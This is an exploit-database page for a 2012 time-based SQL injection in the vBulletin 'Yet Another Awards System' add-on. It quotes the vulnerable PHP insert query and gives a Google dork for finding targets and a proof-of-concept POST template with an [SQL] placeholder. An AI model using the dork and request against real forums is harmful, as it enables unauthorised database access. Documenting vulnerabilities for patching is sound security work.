vBulletin Yet Another Awards System 4.0.2 Time Based SQL Injection 0day

vendor:

vBulletin Yet Another Awards System

by:

Backsl@sh/Dan

7,5

CVSS

HIGH

Time Based SQL Injection

CWE

Product Name: vBulletin Yet Another Awards System

Affected Version From: 4.0.2+

Affected Version To: 4.0.2+

Patch Exists: YES

Related CWE: N/A

CPE: a:vbulletin:vbulletin_yet_another_awards_system

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2012

vBulletin Yet Another Awards System 4.0.2 Time Based SQL Injection 0day

The vulnerability exists within /request_award.php. The $award_request_uid is used within an insert into statement, unsanitized. The POC is http://[site].com/request_award.php with POST: do=submit&name=award_id=[VALID REWARD ID]&award_request_reason=0&award_request_uid=0[SQL]&submit=Submit

Mitigation:

Input validation should be used to prevent SQL injection attacks.

Source

Exploit-DB raw data:

# Exploit Title: vBulletin Yet Another Awards System 4.0.2 Time Based SQL Injection 0day
# Google Dork: inurl:awards.php intext:"powered by vbulletin"
# Date: 29/08/12
# Exploit Author: Backsl@sh/Dan
# Software Link: http://www.vbulletin.org/forum/showthread.php?t=232684
# Version: 4.0.2+



The vulnerability exists within /request_award.php.

$vbulletin->input->clean_array_gpc('p', array(
			'award_id' => TYPE_UINT,
			//'award_request_name' => TYPE_STR,
			//'award_request_recipient_name' => TYPE_STR,
			'award_request_reason' => TYPE_STR,
			'award_request_uid' => TYPE_UNIT,
	));

> $award_request_uid = $vbulletin->GPC['award_request_uid'];
> > $db->query_write("INSERT INTO " . TABLE_PREFIX . "award_requests (award_req_uid, award_rec_uid, award_req_aid, award_req_reason) VALUES ('$award_request_uid', '$award_request_uid', '$award[award_id]', '". $db->escape_string($vbulletin->GPC['award_request_reason']) ."')");

$award_request_uid is used within an insert into statement, unsanitized.


- POC -
http://[site].com/request_award.php
POST: do=submit&name=award_id=[VALID REWARD ID]&award_request_reason=0&award_request_uid=0[SQL]&submit=Submit


Thanks. Have fun.

http://www.bugabuse.net/